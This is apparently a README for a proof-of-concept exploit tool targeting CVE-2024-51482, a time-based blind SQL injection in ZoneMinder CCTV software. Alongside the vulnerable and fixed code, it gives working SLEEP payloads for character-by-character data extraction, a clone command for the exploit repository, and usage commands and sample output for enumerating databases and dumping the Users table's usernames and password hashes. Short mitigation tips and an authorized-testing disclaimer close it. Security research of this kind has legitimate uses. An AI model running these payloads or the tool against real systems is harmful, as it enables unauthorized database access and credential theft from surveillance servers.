
ZenoMinder Blind SQL Injection PoC
CVE-2024-51482 is a critical boolean-based SQL Injection vulnerability discovered in ZoneMinder, a popular open-source CCTV surveillance software. This flaw affects versions 1.37.* through 1.37.64 and allows authenticated attackers with low privileges to execute arbitrary SQL commands on the underlying database server.
| Metric | Value |
|---|---|
| CVE ID | CVE-2024-51482 |
| CVSS Score | 9.9 (Critical) |
| Attack Vector | Network |
| Privileges Required | Low |
| User Interaction | None |
| Scope | Changed |
| Impact | Confidentiality, Integrity, Availability - HIGH |
| Patched Version | 1.37.65 |
The vulnerability exists in the web/ajax/event.php file within the removetag function. The parameter tid (Tag ID) is directly concatenated into an SQL query without proper sanitization or parameterization.
Vulnerable Code:
case 'removetag':
$tagId = $_REQUEST['tid'];
dbQuery('DELETE FROM Events_Tags WHERE TagId = ? AND EventId = ?', array($tagId, $_REQUEST['id']));
$sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId"; // VULNERABLE!
$rowCount = dbNumRows($sql);
// ...
Fixed Code:
$sql = "SELECT * FROM Events_Tags WHERE TagId = ?";
$rowCount = dbNumRows($sql, $tagId); // Parameterized query
The vulnerable endpoint can be triggered via:
http://target/zm/index.php?view=request&request=event&action=removetag&tid=[INJECTION_POINT]
The injection point doesn't return query results directly in the response, making traditional UNION-based attacks impossible. Instead, we must infer information through boolean conditions or time delays.
Our exploit uses time-based extraction with the SLEEP() function:
1 AND (SELECT 1 FROM (SELECT SLEEP(2)) as dummy)
When this condition evaluates to true, the database sleeps for 2 seconds, creating a measurable delay in the HTTP response.
ASCII(SUBSTRING()) > MID.SLEEP triggers.Example payload for extracting character at position 1:
1 AND (SELECT 1 FROM (SELECT SLEEP(2) FROM DUAL WHERE ASCII(SUBSTRING((SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1), 1, 1)) > 100) as dummy)
# Clone the repository
git clone https://github.com/BridgerAlderson/CVE-2024-51482.git
cd CVE-2024-51482
# Make the script executable
chmod +x CVE-2024-51482.py
# Install required dependencies
pip3 install requests
# Test if target is vulnerable
python3 CVE-2024-51482.py -i <target-host> -u admin -p admin --test
# Discover all databases
python3 CVE-2024-51482.py -i <target-host> -u admin -p admin --discover
# List tables in a specific database
python3 CVE-2024-51482.py -i <target-host> -u admin -p admin --tables zm
# List columns in a specific table
python3 CVE-2024-51482.py -i <target-host> -u admin -p admin --columns zm Users
# Dump data from specific columns
python3 CVE-2024-51482.py -i <target-host> -u admin -p admin --dump zm Users "Username,Password"
# Dump users table (default)
python3 CVE-2024-51482.py -i <target-host> -u admin -p admin --users
# Enable debug output for detailed extraction process
python3 CVE-2024-51482.py -i <target-host> -u admin -p admin --users --debug
# Adjust sleep time for more reliable extraction
python3 CVE-2024-51482.py -i <target-host> -u admin -p admin --users --sleep 3
# Disable colored output
python3 CVE-2024-51482.py -i <target-host> -u admin -p admin --users --no-color
Example 1: Vulnerability Testing
$ python3 CVE-2024-51482.py -i 192.168.1.100 -u admin -p admin --test
[*] CVE-2024-51482 - ZoneMinder Blind SQL Injection Exploit
[*] Target: 192.168.1.100
[*] Logging in as 'admin' on 192.168.1.100...
[+] Login successful
[*] Measuring baseline response time...
[*] Baseline median: 0.058s
[*] Testing vulnerability with 2s sleep...
[+] Target is vulnerable!
Example 2: Database Enumeration
$ python3 CVE-2024-51482.py -i <target-host> -u admin -p admin --discover
[*] CVE-2024-51482 - ZoneMinder Blind SQL Injection Exploit
[*] Target: <target-host>
[*] Logging in as 'admin' on <target-host>...
[+] Login successful
[*] Measuring baseline response time...
[*] Baseline median: 0.065s
[*] Testing vulnerability with 2s sleep...
[+] Target is vulnerable!
[*] Enumerating databases...
[+] Found database: information_schema
[+] Found database: performance_schema
[+] Found database: zm
[+] Databases found:
1. information_schema
2. performance_schema
3. zm
Example 3: Dumping User Credentials
$ python3 CVE-2024-51482.py -i <target-host> -u admin -p admin --users
[*] CVE-2024-51482 - ZoneMinder Blind SQL Injection Exploit
[*] Target: <target-host>
[*] Logging in as 'admin' on <target-host>...
[+] Login successful
[*] Measuring baseline response time...
[*] Baseline median: 0.062s
[*] Testing vulnerability with 2s sleep...
[+] Target is vulnerable!
[*] Dumping Users table from zm database...
[*] Enumerating columns in 'zm.Users'...
[+] Found column: Id
[+] Found column: Username
[+] Found column: Password
[+] Found column: Language
[+] Found column: Enabled
[*] Dumping data from 'zm.Users'...
[+] Row 1: {'Username': 'admin', 'Password': '$2y$10$...hashed...'}
[+] Row 2: {'Username': 'operator', 'Password': '$2y$10$...hashed...'}
[+] Users extracted: 2
User: admin
Pass: $2y$10$...hashed...
Email: admin@localhost
Enabled: 1
User: operator
Pass: $2y$10$...hashed...
Email: operator@localhost
Enabled: 1
Example 4: Custom Data Extraction
# Dump specific columns from Events table
python3 CVE-2024-51482.py -i <target-host> -u admin -p admin --dump zm Events "Id,Name,StartTime,EndTime"
SLEEP(2) payload to verify injection works.ASCII(SUBSTRING(({query}), {position}, 1)) > {mid} .SLEEP triggers → Response delayed.sudo apt-get update
sudo apt-get install zoneminder
# Apache configuration
Require ip 192.168.0.0/16
grep -i "sleep\|union\|select" /var/log/zm/*.log
This tool is provided for educational and security testing purposes only. Unauthorized testing of computer systems is illegal. Always obtain proper authorization before testing any system.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
| Metric | Value |
|---|
| Attack Vector | Network |
| Attack Complexity | Low |
| Privileges Required | Low |
| User Interaction | None |
| Scope | Changed |
| Confidentiality | High |
| Integrity | High |
| Availability | High |